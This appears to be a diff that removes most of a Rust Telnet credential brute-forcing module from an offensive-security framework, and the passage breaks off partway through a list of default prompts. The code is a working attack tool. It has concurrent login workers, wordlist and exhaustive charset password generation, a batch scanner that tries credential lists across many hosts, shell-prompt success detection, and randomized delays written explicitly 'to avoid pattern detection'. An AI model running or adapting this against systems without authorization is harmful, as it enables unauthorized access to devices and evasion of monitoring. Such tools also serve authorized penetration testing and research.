- state = TelnetState::SendingUsername; - } - continue; - } - } - } - } - - // --- STATE TRANSITION PHASE --- - match state { - TelnetState::WaitingForBanner => { - // Check for password prompt first (password-only auth) - let found_pass_prompt = config.password_prompts_lower.iter().any(|p| recent_buffer.contains(p)); - if found_pass_prompt { - banner_detected = true; - state = TelnetState::SendingPassword; - } else { - // Check for login prompt - let found_login_prompt = config.login_prompts_lower.iter().any(|p| recent_buffer.contains(p)); - if found_login_prompt { - banner_detected = true; - state = TelnetState::SendingUsername; - } else { - // Move to waiting for prompt explicitly - state = TelnetState::WaitingForLoginPrompt; - } - } - } - TelnetState::WaitingForLoginPrompt => { - // Also check for password prompt here just in case - let found_pass_prompt = config.password_prompts_lower.iter().any(|p| recent_buffer.contains(p)); - if found_pass_prompt { - state = TelnetState::SendingPassword; - } else { - let found_login_prompt = config.login_prompts_lower.iter().any(|p| recent_buffer.contains(p)); - if found_login_prompt { - state = TelnetState::SendingUsername; - } - } - // If we read data but didn't match, loop again (implicit continue) - } - TelnetState::SendingUsername => { - let login_data = format!("{}\r\n", username); - timeout(Duration::from_millis(config.write_timeout), writer.write_all(login_data.as_bytes())).await??; - // Clear buffers to avoid matching old prompts - recent_buffer.clear(); - buf.clear(); - tokio::time::sleep(Duration::from_secs(2)).await; - state = TelnetState::WaitingForPasswordPrompt; - } - TelnetState::WaitingForPasswordPrompt => { - let found_pass_prompt = config.password_prompts_lower.iter().any(|p| recent_buffer.contains(p)); - if found_pass_prompt { - state = TelnetState::SendingPassword; - } - // If we see a login prompt again, it means username was rejected or something looped - if config.login_prompts_lower.iter().any(|p| recent_buffer.contains(p)) { - return Ok((false, banner_detected)); // Assume failed user - } - } - TelnetState::SendingPassword => { - let pass_data = format!("{}\r\n", password); - timeout(Duration::from_millis(config.write_timeout), writer.write_all(pass_data.as_bytes())).await??; - recent_buffer.clear(); - buf.clear(); - state = TelnetState::WaitingForResult; - } - TelnetState::WaitingForResult => { - // Check success - if has_success_indicators(&response_after_pass) { - return Ok((true, banner_detected)); - } - for indicator in &config.success_indicators_lower { - if recent_buffer.contains(indicator) { - return Ok((true, banner_detected)); - } - } - - // Check failure - for indicator in &config.failure_indicators_lower { - if recent_buffer.contains(indicator) { - return Ok((false, banner_detected)); - } - } - - // Check if it asks for login again (loopback) - if config.login_prompts_lower.iter().any(|p| recent_buffer.contains(p)) { - return Ok((false, banner_detected)); - } - } - } - } -} - -async fn try_telnet_login_simple( - ip: &str, - port: u16, - username: &str, - password: &str, - timeout_secs: u64, -) -> Result { - let addr = format!("{}:{}", ip, port); - // Use async lookup_host - let socket = lookup_host(&addr).await?.next().ok_or_else(|| anyhow!("Cannot resolve"))?; - - let mut stream = timeout( - Duration::from_secs(timeout_secs), - TcpStream::connect(socket) - ) - .await??; - - let mut buffer = vec![0u8; 1024]; - - // Read initial prompt - timeout(Duration::from_secs(2), stream.read(&mut buffer)).await.ok(); - - // Send username - stream.write_all(format!("{}\n", username).as_bytes()).await?; - stream.flush().await?; - sleep(Duration::from_millis(300)).await; - - // Wait for password prompt - timeout(Duration::from_secs(2), stream.read(&mut buffer)).await.ok(); - - // Send password - stream.write_all(format!("{}\n", password).as_bytes()).await?; - stream.flush().await?; - sleep(Duration::from_millis(500)).await; - - // Read response - let n = match timeout(Duration::from_secs(2), stream.read(&mut buffer)).await { - Ok(Ok(n)) => n, - _ => return Ok(false), - }; - - let response = String::from_utf8_lossy(&buffer[..n]).to_lowercase(); - - let success = ["#", "$", ">", "welcome", "last login"] - .iter() - .any(|indicator| response.contains(indicator)); - - let failure = ["incorrect", "failed", "denied", "invalid"] - .iter() - .any(|indicator| response.contains(indicator)); - - Ok(success && !failure) -} - -// ============================================================ -// BRUTEFORCE EXECUTION -// ============================================================ - -async fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> { - let target_str = crate::utils::normalize_target(&config.target)?; - let addr_str = if target_str.contains(':') { - target_str - } else { - format!("{}:{}", target_str, config.port) - }; - - // Resolve DNS once here - let socket_addr = lookup_host(&addr_str).await?.next().context("Unable to resolve target")?; - - println!("[*] Target resolved to: {}", socket_addr); - - if config.pre_validate { - println!("[*] Validating target is Telnet service..."); - match validate_telnet_target(&addr_str, &config).await { - Ok(_) => println!("{}", "[+] Target validation successful".green()), - Err(e) => { - eprintln!("{}", format!("[!] Warning: {}", e).yellow()); - if !prompt_yes_no("Continue anyway? (y/n): ", false)? { - return Err(anyhow!("Target validation failed")); - } - } - } - } - - let username_size = tokio::fs::metadata(&config.username_wordlist).await?.len(); - let password_size = if let Some(ref path) = config.password_wordlist { - tokio::fs::metadata(path).await?.len() - } else { - 0 - }; - - let total_size = username_size + password_size; - let use_streaming = should_use_streaming(total_size).await?; - - let (usernames, passwords, username_count, password_count) = if use_streaming { - load_wordlists_streaming(&config).await? - } else { - load_wordlists_memory(&config).await? - }; - - println!("[*] Loaded {} username(s)", username_count); - if password_count > 0 { - println!("[*] Loaded {} password(s)", password_count); - } - - let estimated_total = calculate_estimated_attempts(&config, username_count, password_count); - println!("[*] Estimated total attempts: {}", estimated_total); - println!(); - - let output_file = Arc::new(config.output_file.clone()); - initialize_output_file(&output_file, &config).await?; - - // Create buffered result writer for efficient I/O - let result_writer = Arc::new(Mutex::new(BufferedResultWriter::new(&output_file).await?)); - - let found_creds = Arc::new(Mutex::new(HashSet::new())); - let stop_flag = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(Statistics::new()); - - let channel_buffer = config.threads * CHANNEL_BUFFER_MULTIPLIER; - let (tx, rx) = mpsc::channel::<(Arc, Arc)>(channel_buffer); - - spawn_producers( - &config, - tx, - use_streaming, - &usernames, - &passwords, - username_count, - password_count, - stop_flag.clone(), - ); - - // Use standard Tokio semaphore - let semaphore = Arc::new(Semaphore::new(config.threads)); - let rx = Arc::new(Mutex::new(rx)); - let mut worker_handles = Vec::with_capacity(config.threads); - - for worker_id in 0..config.threads { - let h = spawn_worker( - worker_id, - rx.clone(), - socket_addr, - stop_flag.clone(), - found_creds.clone(), - result_writer.clone(), - config.clone(), - stats.clone(), - semaphore.clone(), - ); - worker_handles.push(h); - } - - let progress_handle = spawn_progress_reporter(stats.clone(), stop_flag.clone()); - - for (i, h) in worker_handles.into_iter().enumerate() { - if let Err(e) = h.await { - eprintln!("[!] Worker {} failed: {}", i, e); - } - } - - stop_flag.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - // Finalize buffered result writer to ensure all data is written - if let Err(e) = result_writer.lock().await.finalize().await { - eprintln!("[!] Failed to finalize result writer: {}", e); - } - - stats.print_final().await; - print_final_report(&found_creds, &output_file).await; - - Ok(()) -} - -// ============================================================ -// BATCH SCANNER EXECUTION -// ============================================================ - -async fn execute_batch_scan(config: BatchScanConfig) -> Result<()> { - let semaphore = Arc::new(tokio::sync::Semaphore::new(config.max_concurrent)); - let mut tasks = Vec::new(); - - println!("Starting scan with {} concurrent tasks...", config.max_concurrent); - println!(); - - for target in config.targets.clone() { - let sem = semaphore.clone(); - let cfg = config.clone(); - - let task = tokio::spawn(async move { - let _permit = sem.acquire().await.expect("Batch scan semaphore closed"); - scan_target(target, &cfg).await - }); - - tasks.push(task); - } - - let mut all_results = Vec::new(); - let mut open_ports = 0; - let mut valid_creds = 0; - - for task in tasks { - match task.await { - Ok(results) => { - open_ports += results.len(); - valid_creds += results.iter().filter(|r| r.credentials.is_some()).count(); - all_results.extend(results); - } - Err(e) => { - println!("{} Task error: {}", "[!]".red(), e); - } - } - } - - println!(); - save_batch_results(&all_results, &config.output_file)?; - - println!(); - println!("{}", "=== Scan Summary ===".bright_blue().bold()); - println!("Targets scanned: {}", config.targets.len()); - println!("Open telnet ports: {}", open_ports); - println!("Valid credentials: {} {}", valid_creds, - if valid_creds > 0 { "✓".green() } else { "✗".red() }); - println!("Results saved to: {}", config.output_file); - - if valid_creds > 0 { - println!(); - println!("{}", "Valid credentials found:".bright_green().bold()); - for result in &all_results { - if let Some((u, p)) = &result.credentials { - println!(" • {}:{} - {}/{}", result.ip, result.port, u, - if p.is_empty() { "(blank)" } else { p }); - } - } - } - - Ok(()) -} - -async fn scan_target(ip: String, config: &BatchScanConfig) -> Vec { - let mut results = Vec::new(); - - for &port in &config.ports { - if config.verbose { - println!("{} Scanning {}:{}...", "[*]".cyan(), ip, port); - } - - let banner = match check_port(&ip, port, config.timeout).await { - Ok(Some(b)) => b, - _ => { - if config.verbose { - println!(" {} Port closed", "[✗]".red()); - } - continue; - } - }; - - println!("{} {}:{} - Port open", "[+]".green(), ip, port); - - if config.verbose && !banner.is_empty() { - println!(" [*] Banner: {}", banner.trim()); - } - - let mut found_creds = None; - - for (username, password) in &config.credentials { - if config.verbose { - println!(" [*] Trying {}/{}", username, - if password.is_empty() { "(blank)" } else { password }); - } - - match try_telnet_login_simple(&ip, port, username, password, - config.timeout.as_secs()).await { - Ok(true) => { - println!( - "{} {}:{} - Valid: {}/{}", - "[✓]".bright_green().bold(), - ip, port, username, - if password.is_empty() { "(blank)" } else { password } - ); - found_creds = Some((username.clone(), password.clone())); - break; - } - Ok(false) => { - if config.verbose { - println!(" {} Invalid", "[✗]".red()); - } - } - Err(e) => { - if config.verbose { - println!(" {} Error: {}", "[!]".yellow(), e); - } - } - } - - sleep(Duration::from_millis(100)).await; - } - - results.push(ScanResult { - ip: ip.clone(), - port, - banner: banner.trim().to_string(), - credentials: found_creds, - timestamp: chrono::Utc::now().to_rfc3339(), - }); - } - - results -} - -async fn check_port(ip: &str, port: u16, timeout_duration: Duration) -> Result> { - let addr = format!("{}:{}", ip, port); - let socket: SocketAddr = addr.parse()?; - - let stream = match timeout(timeout_duration, TcpStream::connect(&socket)).await { - Ok(Ok(s)) => s, - _ => return Ok(None), - }; - - let mut stream = stream; - let mut buffer = vec![0u8; 512]; - - let banner = match timeout(Duration::from_secs(2), stream.read(&mut buffer)).await { - Ok(Ok(n)) if n > 0 => String::from_utf8_lossy(&buffer[..n]).to_string(), - _ => String::new(), - }; - - Ok(Some(banner)) -} - -// ============================================================ -// WORKER AND PRODUCER FUNCTIONS -// ============================================================ - -// ResourceAwareSemaphore removed in favor of standard Tokio Semaphore -// for simplicity and reliability. - -fn spawn_worker( - worker_id: usize, - rx: Arc, Arc)>>>, - socket_addr: SocketAddr, - stop_flag: Arc, - found_creds: Arc>>, - result_writer: Arc>, - config: TelnetBruteforceConfig, - stats: Arc, - semaphore: Arc, -) -> tokio::task::JoinHandle<()> { - tokio::spawn(async move { - loop { - if stop_flag.load(Ordering::SeqCst) { - if config.verbose { - println!("[*] Worker {} stopping (stop flag set)", worker_id); - } - break; - } - - let pair = loop { - // Try to receive message - let recv_result = { - let mut guard = rx.lock().await; - guard.try_recv() - }; - - match recv_result { - Ok(p) => break Some(p), - Err(mpsc::error::TryRecvError::Empty) => { - // No message available, wait a bit before trying again - // But release the lock first to prevent deadlock - sleep(Duration::from_millis(10)).await; - - // Check stop flag after sleep - if stop_flag.load(Ordering::SeqCst) { - break None; - } - continue; - } - Err(mpsc::error::TryRecvError::Disconnected) => break None, - } - }; - - let Some((user, pass)) = pair else { - if config.verbose { - println!("[*] Worker {} stopping (channel closed)", worker_id); - } - break; - }; - - // DNS resolution is now done once before spawning workers - let socket = socket_addr; - - // Atomically check stop flag and acquire permit to prevent race condition - let _permit = match semaphore.acquire().await { - Ok(permit) => permit, - Err(_) => { - eprintln!("[!] Worker {} failed to acquire semaphore permit", worker_id); - break; - } - }; - - // Check stop flag after acquiring permit but before starting work - if stop_flag.load(Ordering::SeqCst) { - if config.verbose { - println!( - "[*] Worker {} dropping work {}:{} (stopped)", - worker_id, - sanitize_input(user.as_ref()), - sanitize_input(pass.as_ref()) - ); - } - drop(_permit); // Explicitly drop permit to release it - break; - } - - if stop_flag.load(Ordering::SeqCst) { - if config.verbose { - println!( - "[*] Worker {} aborting attempt {}:{} (stopped)", - worker_id, - sanitize_input(user.as_ref()), - sanitize_input(pass.as_ref()) - ); - } - break; - } - - if config.verbose { - println!( - "{} [Worker {}] Trying {}:{}", - "[*]".bright_blue(), - worker_id, - sanitize_input(user.as_ref()), - sanitize_input(pass.as_ref()) - ); - } - - // Watchdog around the full login attempt - let attempt_future = try_telnet_login(&socket, &user, &pass, &config); - let mut attempt_result = match timeout(Duration::from_secs(TASK_WATCHDOG_TIMEOUT_SECS), attempt_future).await { - Ok(res) => res, - Err(_) => { - // Don't count as regular attempt since it never completed - stats.record_hung_task(); - stats.record_error_kind("Task watchdog timeout").await; - if config.verbose { - eprintln!( - "{}", - format!( - "[!] Worker {}: attempt {}:{} hung (watchdog timeout)", - worker_id, user, pass - ) - .yellow() - ); - } - continue; - } - }; - - let mut retry_count = 0; - while config.retry_on_error && retry_count < config.max_retries && attempt_result.is_err() { - if stop_flag.load(Ordering::SeqCst) { - break; - } - - retry_count += 1; - stats.record_retry(); - stats.record_retry_queued(); - - // Exponential backoff with jitter to avoid pattern detection - let base_delay = config.delay_ms; - let backoff_multiplier = (1u64 << retry_count).min(8); // Cap at 8x - let backoff_delay = base_delay * backoff_multiplier; - - // Add jitter: randomize between 0% and 50% of the delay - let jitter_range = backoff_delay / 2; - let jitter = rand::rng().random_range(0..=jitter_range); - let total_delay = backoff_delay + jitter; - - sleep(Duration::from_millis(total_delay)).await; - let retry_future = try_telnet_login(&socket, &user, &pass, &config); - attempt_result = match timeout(Duration::from_secs(TASK_WATCHDOG_TIMEOUT_SECS), retry_future).await { - Ok(res) => res, - Err(_) => { - // Don't count as regular attempt since it never completed - stats.record_hung_task(); - stats.record_error_kind("Task watchdog timeout").await; - if config.verbose { - eprintln!( - "{}", - format!( - "[!] Worker {}: retry attempt {}:{} hung (watchdog timeout)", - worker_id, user, pass - ) - .yellow() - ); - } - break; - } - }; - } - - match attempt_result { - Ok(true) => { - stats.record_attempt(true, false); - - let mut creds = found_creds.lock().await; - if creds.insert((user.to_string(), pass.to_string())) { - drop(creds); - - println!( - "\n{}", - format!( - "[+] VALID: {}:{}", - sanitize_input(user.as_ref()), - sanitize_input(pass.as_ref()) - ) - .green() - .bold() - ); - - if let Err(e) = result_writer.lock().await.write_result(&user, &pass).await { - eprintln!("[!] Failed to write result: {}", e); - } - - if config.stop_on_success { - stop_flag.store(true, Ordering::SeqCst); - - let mut rx_guard = rx.lock().await; - let mut drained = 0; - while rx_guard.try_recv().is_ok() { - drained += 1; - } - drop(rx_guard); - - if config.verbose && drained > 0 { - println!("[*] Worker {} drained {} queued attempts", worker_id, drained); - } - - println!("[*] Worker {} stopping (success, stop_on_success=true)", worker_id); - break; - } - } - } - Ok(false) => { - stats.record_attempt(false, false); - if config.verbose { - println!( - "{} Failed: {}:{}", - "[-]".red(), - sanitize_input(user.as_ref()), - sanitize_input(pass.as_ref()) - ); - } - } - Err(e) => { - stats.record_attempt(false, true); - let msg = e.to_string(); - let kind = classify_telnet_error(&msg); - match kind { - "Read/Connection timeout" => stats.record_timeout(), - "Broken pipe" => stats.record_broken_pipe(), - _ => {} - } - stats.record_error_kind(kind).await; - if config.verbose { - eprintln!( - "{} Error ({}): {}:{}", - "[!]".yellow(), - msg, - sanitize_input(user.as_ref()), - sanitize_input(pass.as_ref()) - ); - } - } - } - - if config.delay_ms > 0 { - // Add jitter to avoid pattern detection: randomize between 75% and 125% of base delay - let base_delay = config.delay_ms; - let jitter_range = base_delay / 4; // 25% variation - let min_delay = base_delay.saturating_sub(jitter_range); - let max_delay = base_delay.saturating_add(jitter_range); - let randomized_delay = rand::rng().random_range(min_delay..=max_delay); - sleep(Duration::from_millis(randomized_delay)).await; - } - } - }) -} - -fn spawn_progress_reporter( - stats: Arc, - stop_flag: Arc, -) -> tokio::task::JoinHandle<()> { - tokio::spawn(async move { - let mut interval = tokio::time::interval(Duration::from_secs(PROGRESS_INTERVAL_SECS)); - loop { - interval.tick().await; - if stop_flag.load(Ordering::Relaxed) { - break; - } - stats.print_progress(); - } - }) -} - -fn spawn_producers( - config: &TelnetBruteforceConfig, - tx: mpsc::Sender<(Arc, Arc)>, - use_streaming: bool, - usernames: &[String], - passwords: &[String], - username_count: usize, - password_count: usize, - stop_flag: Arc, -) { - if use_streaming { - spawn_streaming_producers(config, tx.clone(), username_count, password_count, stop_flag.clone()); - } else { - spawn_memory_producers(config, tx.clone(), usernames, passwords, stop_flag.clone()); - } - drop(tx); -} - -// src/modules/creds/generic/telnet_bruteforce.rs - PART 3/4 -// Producer Functions and Combo Generation Logic - -fn spawn_streaming_producers( - config: &TelnetBruteforceConfig, - tx: mpsc::Sender<(Arc, Arc)>, - username_count: usize, - password_count: usize, - stop_flag: Arc, -) { - if password_count > 0 { - let password_path = match config.password_wordlist.clone() { - Some(path) => path, - None => { - eprintln!("[!] Password wordlist required but not configured"); - return; - } - }; - let username_path = config.username_wordlist.clone(); - let full_combo = config.full_combo; - let tx_clone = tx.clone(); - let stop_clone = stop_flag.clone(); - tokio::spawn(async move { - if let Err(e) = enqueue_wordlist_combos_streaming( - tx_clone, &username_path, &password_path, full_combo, - stop_clone, username_count, password_count, - ).await { - eprintln!("[!] Wordlist producer error: {}", e); - } - }); - } - - if config.raw_bruteforce { - let charset: Vec = config.raw_charset.chars().collect(); - let min_len = config.raw_min_length; - let max_len = config.raw_max_length; - let username_path = config.username_wordlist.clone(); - let full_combo = config.full_combo; - let tx_clone = tx.clone(); - let stop_clone = stop_flag.clone(); - tokio::spawn(async move { - if let Err(e) = generate_raw_combos_streaming( - tx_clone, &username_path, charset, min_len, max_len, - full_combo, stop_clone, username_count, - ).await { - eprintln!("[!] Raw producer error: {}", e); - } - }); - } -} - -fn spawn_memory_producers( - config: &TelnetBruteforceConfig, - tx: mpsc::Sender<(Arc, Arc)>, - usernames: &[String], - passwords: &[String], - stop_flag: Arc, -) { - let usernames_arc: Vec> = usernames.iter().map(|s| Arc::from(s.as_str())).collect(); - let passwords_arc: Vec> = passwords.iter().map(|s| Arc::from(s.as_str())).collect(); - - if !passwords_arc.is_empty() { - let passwords_clone = passwords_arc.clone(); - let usernames_clone = usernames_arc.clone(); - let full_combo = config.full_combo; - let tx_clone = tx.clone(); - let stop_clone = stop_flag.clone(); - tokio::spawn(async move { - if let Err(e) = enqueue_wordlist_combos_fast( - tx_clone, &usernames_clone, &passwords_clone, full_combo, stop_clone, - ).await { - eprintln!("[!] Wordlist producer error: {}", e); - } - }); - } - - if config.raw_bruteforce { - let charset: Vec = config.raw_charset.chars().collect(); - let min_len = config.raw_min_length; - let max_len = config.raw_max_length; - let usernames_clone = usernames_arc.clone(); - let full_combo = config.full_combo; - let tx_clone = tx.clone(); - let stop_clone = stop_flag.clone(); - tokio::spawn(async move { - if let Err(e) = generate_raw_combos( - tx_clone, &usernames_clone, charset, min_len, max_len, full_combo, stop_clone, - ).await { - eprintln!("[!] Raw producer error: {}", e); - } - }); - } -} - -// ============================================================ -// COMBO GENERATION FUNCTIONS -// ============================================================ - -#[inline] -async fn enqueue_wordlist_combos_fast( - tx: mpsc::Sender<(Arc, Arc)>, - usernames: &[Arc], - passwords: &[Arc], - full_combo: bool, - stop_flag: Arc, -) -> Result<()> { - if passwords.is_empty() { - return Ok(()); - } - - if full_combo { - for user in usernames { - if stop_flag.load(Ordering::Relaxed) { break; } - for pass in passwords { - if stop_flag.load(Ordering::Relaxed) { break; } - tx.send((user.clone(), pass.clone())).await.ok(); - } - } - } else if usernames.len() == 1 { - let user = &usernames[0]; - for pass in passwords { - if stop_flag.load(Ordering::Relaxed) { break; } - tx.send((user.clone(), pass.clone())).await.ok(); - } - } else if passwords.len() == 1 { - let pass = &passwords[0]; - for user in usernames { - if stop_flag.load(Ordering::Relaxed) { break; } - tx.send((user.clone(), pass.clone())).await.ok(); - } - } else { - let user = &usernames[0]; - for pass in passwords { - if stop_flag.load(Ordering::Relaxed) { break; } - tx.send((user.clone(), pass.clone())).await.ok(); - } - } - - Ok(()) -} - -async fn generate_raw_combos( - tx: mpsc::Sender<(Arc, Arc)>, - usernames: &[Arc], - charset: Vec, - min_len: usize, - max_len: usize, - full_combo: bool, - stop_flag: Arc, -) -> Result<()> { - if charset.is_empty() || max_len == 0 { - return Ok(()); - } - - let base = charset.len(); - - for len in min_len..=max_len { - if stop_flag.load(Ordering::Relaxed) { break; } - - let mut indices = vec![0usize; len]; - - loop { - if stop_flag.load(Ordering::Relaxed) { break; } - - let pwd: String = indices.iter().map(|&i| charset[i]).collect(); - let pwd_arc: Arc = Arc::from(pwd.as_str()); - - if full_combo || usernames.len() == 1 { - for user in usernames { - if stop_flag.load(Ordering::Relaxed) { break; } - tx.send((user.clone(), pwd_arc.clone())).await.ok(); - } - } else { - let user = &usernames[0]; - tx.send((user.clone(), pwd_arc)).await.ok(); - } - - let mut carry = true; - for i in (0..len).rev() { - if carry { - indices[i] += 1; - if indices[i] < base { - carry = false; - } else { - indices[i] = 0; - } - } - } - - if carry { break; } - } - } - - Ok(()) -} - -async fn enqueue_wordlist_combos_streaming( - tx: mpsc::Sender<(Arc, Arc)>, - username_path: &str, - password_path: &str, - full_combo: bool, - stop_flag: Arc, - username_count: usize, - _password_count: usize, -) -> Result<()> { - if full_combo { - // Open password file once and cache passwords to avoid reopening file for each username - let pass_file = File::open(password_path).await?; - let pass_reader = BufReader::new(pass_file); - let mut pass_lines = pass_reader.lines(); - let mut passwords = Vec::new(); - - while let Some(pass_line) = pass_lines.next_line().await? { - let pass = pass_line.trim(); - if !pass.is_empty() { - passwords.push(Arc::::from(pass)); - } - } - - // Now iterate through usernames and send combinations - let user_file = File::open(username_path).await?; - let user_reader = BufReader::new(user_file); - let mut user_lines = user_reader.lines(); - - while let Some(user_line) = user_lines.next_line().await? { - let user = user_line.trim(); - if user.is_empty() || stop_flag.load(Ordering::Relaxed) { - continue; - } - let user_arc: Arc = Arc::from(user); - - // Send combinations for this user with all passwords - for pass_arc in &passwords { - if stop_flag.load(Ordering::Relaxed) { - return Ok(()); - } - tx.send((user_arc.clone(), pass_arc.clone())).await.ok(); - } - } - } else if username_count == 1 { - let user_file = File::open(username_path).await?; - let user_reader = BufReader::new(user_file); - let mut user_lines = user_reader.lines(); - let user_line = user_lines.next_line().await?.ok_or_else(|| anyhow!("Empty file"))?; - let user_arc: Arc = Arc::from(user_line.trim()); - - let pass_file = File::open(password_path).await?; - let pass_reader = BufReader::new(pass_file); - let mut pass_lines = pass_reader.lines(); - - while let Some(pass_line) = pass_lines.next_line().await? { - let pass = pass_line.trim(); - if pass.is_empty() || stop_flag.load(Ordering::Relaxed) { - continue; - } - let pass_arc: Arc = Arc::from(pass); - tx.send((user_arc.clone(), pass_arc)).await.ok(); - } - } else { - let pass_file = File::open(password_path).await?; - let pass_reader = BufReader::new(pass_file); - let mut pass_lines = pass_reader.lines(); - let pass_line = pass_lines.next_line().await?.ok_or_else(|| anyhow!("Empty file"))?; - let pass_arc: Arc = Arc::from(pass_line.trim()); - - let user_file = File::open(username_path).await?; - let user_reader = BufReader::new(user_file); - let mut user_lines = user_reader.lines(); - - while let Some(user_line) = user_lines.next_line().await? { - let user = user_line.trim(); - if user.is_empty() || stop_flag.load(Ordering::Relaxed) { - continue; - } - let user_arc: Arc = Arc::from(user); - tx.send((user_arc, pass_arc.clone())).await.ok(); - } - } - - Ok(()) -} - -async fn generate_raw_combos_streaming( - tx: mpsc::Sender<(Arc, Arc)>, - username_path: &str, - charset: Vec, - min_len: usize, - max_len: usize, - full_combo: bool, - stop_flag: Arc, - username_count: usize, -) -> Result<()> { - if charset.is_empty() || max_len == 0 { - return Ok(()); - } - - let base = charset.len(); - - if full_combo || username_count == 1 { - let user_file = File::open(username_path).await?; - let user_reader = BufReader::new(user_file); - let mut user_lines = user_reader.lines(); - let mut usernames: Vec> = Vec::new(); - - while let Some(user_line) = user_lines.next_line().await? { - let user = user_line.trim(); - if !user.is_empty() { - usernames.push(Arc::from(user)); - } - } - - for len in min_len..=max_len { - if stop_flag.load(Ordering::Relaxed) { break; } - - let mut indices = vec![0usize; len]; - - loop { - if stop_flag.load(Ordering::Relaxed) { break; } - - let pwd: String = indices.iter().map(|&i| charset[i]).collect(); - let pwd_arc: Arc = Arc::from(pwd.as_str()); - - for user in &usernames { - if stop_flag.load(Ordering::Relaxed) { break; } - tx.send((user.clone(), pwd_arc.clone())).await.ok(); - } - - let mut carry = true; - for i in (0..len).rev() { - if carry { - indices[i] += 1; - if indices[i] < base { - carry = false; - } else { - indices[i] = 0; - } - } - } - - if carry { break; } - } - } - } else { - let user_file = File::open(username_path).await?; - let user_reader = BufReader::new(user_file); - let mut user_lines = user_reader.lines(); - let user_line = user_lines.next_line().await?.ok_or_else(|| anyhow!("Empty file"))?; - let user_arc: Arc = Arc::from(user_line.trim()); - - for len in min_len..=max_len { - if stop_flag.load(Ordering::Relaxed) { break; } - - let mut indices = vec![0usize; len]; - - loop { - if stop_flag.load(Ordering::Relaxed) { break; } - - let pwd: String = indices.iter().map(|&i| charset[i]).collect(); - let pwd_arc: Arc = Arc::from(pwd.as_str()); - - tx.send((user_arc.clone(), pwd_arc)).await.ok(); - - let mut carry = true; - for i in (0..len).rev() { - if carry { - indices[i] += 1; - if indices[i] < base { - carry = false; - } else { - indices[i] = 0; - } - } - } - - if carry { break; } - } - } - } - - Ok(()) -} - -// ============================================================ -// CONFIGURATION FUNCTIONS -// ============================================================ - -async fn build_interactive_config(target: &str) -> Result { - println!(); - println!("{}", "[Interactive Configuration]".bold().green()); - println!(); - - let port = prompt_port("Port", 23)?; - let threads = prompt_threads(8)?; - let delay_ms = prompt_delay(100)?; - let connection_timeout = prompt_timeout("Connection timeout (seconds, default 3): ", 3)?; - let banner_read_timeout = prompt_timeout("Banner read timeout (seconds, default 2): ", 2)?; - let login_prompt_timeout = prompt_timeout("Login prompt timeout (seconds, default 3): ", 3)?; - let password_prompt_timeout = prompt_timeout("Password prompt timeout (seconds, default 3): ", 3)?; - let auth_response_timeout = prompt_timeout("Auth response timeout (seconds, default 5): ", 5)?; - let command_timeout = prompt_timeout("Command timeout (seconds, default 3): ", 3)?; - let write_timeout = 500; // Fixed write timeout in milliseconds - - let username_wordlist = prompt_existing_file("Username wordlist file: ")?; - let raw_bruteforce = prompt_yes_no("Enable raw brute-force password generation? (y/n): ", false)?; - - let password_wordlist = if raw_bruteforce { - prompt_optional_wordlist("Password wordlist (leave blank to skip): ")? - } else { - Some(prompt_existing_file("Password wordlist file: ")?) - }; - - let (raw_charset, raw_min_length, raw_max_length) = if raw_bruteforce { - let charset = prompt_charset("Character set (default: lowercase): ", "abcdefghijklmnopqrstuvwxyz")?; - let min_len = prompt_min_length(1, 1, 8)?; - let max_len = prompt_max_length(4, min_len, 8)?; - (charset, min_len, max_len) - } else { - (String::new(), 0, 0) - }; - - let full_combo = prompt_yes_no("Try every username with every password? (y/n): ", false)?; - let stop_on_success = prompt_yes_no("Stop on first valid login? (y/n): ", false)?; - - let output_file = prompt_required("Output file: ")?; - let append_mode = if tokio::fs::metadata(&output_file).await.is_ok() { - prompt_yes_no(&format!("File exists. Append? (y/n): "), true)? - } else { - false - }; - - let verbose = prompt_yes_no("Verbose mode? (y/n): ", false)?; - let pre_validate = prompt_yes_no("Pre-validate target? (y/n): ", true)?; - let retry_on_error = prompt_yes_no("Retry failed connections? (y/n): ", true)?; - let max_retries = if retry_on_error { prompt_retries(2)? } else { 0 }; - - let use_custom_prompts = prompt_yes_no("Use custom prompts? (y/n): ", false)?; - - let (login_prompts, password_prompts, success_indicators, failure_indicators) = - if use_custom_prompts { - ( - prompt_list("Login prompts (comma-separated): ")?, - prompt_list("Password prompts (comma-separated): ")?, - prompt_list("Success indicators (comma-separated): ")?, - prompt_list("Failure indicators (comma-separated): ")?, - ) - } else { - get_default_prompts() - }; - - Ok(TelnetBruteforceConfig { - target: target.to_string(), - port, username_wordlist, password_wordlist, threads, delay_ms, - connection_timeout, banner_read_timeout, login_prompt_timeout, - password_prompt_timeout, auth_response_timeout, command_timeout, write_timeout, - stop_on_success, verbose, full_combo, - raw_bruteforce, raw_charset, raw_min_length, raw_max_length, - output_file, append_mode, pre_validate, retry_on_error, max_retries, - login_prompts, password_prompts, success_indicators, failure_indicators, - login_prompts_lower: Vec::new(), - password_prompts_lower: Vec::new(), - success_indicators_lower: Vec::new(), - failure_indicators_lower: Vec::new(), - }) -} - -fn get_default_prompts() -> (Vec, Vec, Vec, Vec) { - ( - // Login prompts - English + Multi-language support - vec![ - // English - "login:".to_string(), "username:".to_string(), "user:".to_string(), - "user name:".to_string(), "account:".to_string(), "userid:".to_string(), - // Spanish - "usuario:".to_string(), "nombre de usuario:".to_string(), "login:".to_string(), - // French - "identifiant:".to_string(), "nom d'utilisateur:".to_string(), "connexion:".to_string(), - // Portuguese - "usuário:".to_string(), "login:".to_string(), "usuário:".to_string(), - // German - "benutzername:".to_string(), "anmeldename:".to_string(), "login:".to_string(), - // Italian - "nome utente:".to_string(), "login:".to_string(), "utente:".to_string(), - // Russian (already had some) - "логин:".to_string(), "пользователь:".to_string(), - // Chinese (simplified) - "用户名:".to_string(), "登录:".to_string(), "用户:".to_string(), - // Japanese - "ユーザー名:".to_string(), "ログイン:".to_string(), - // Arabic - "اسم المستخدم:".to_string(), "تسجيل الدخول:".to_string(), - ], - - // Password prompts - English + Multi-language support - vec![ - // English - "password:".to_string(), "passwd:".to_string(), "pass:".to_string(), - "enter password".to_string(), "password for".to_string(), - // Spanish - "contraseña:".to_string(), "clave:".to_string(), - // French - "mot de passe:".to_string(), - // Portuguese - "senha:".to_string(), - // German - "passwort:".to_string(), - // Italian - "password:".to_string(), - // Russian - "пароль:".to_string(), - // Chinese - "密码:".to_string(), - // Japanese - "パスワード:".to_string(), - // Arabic - "كلمة المرور:".to_string(), - ], - - // Success indicators - English + Multi-language support - vec![ - // Basic shell prompts - "$", "#", 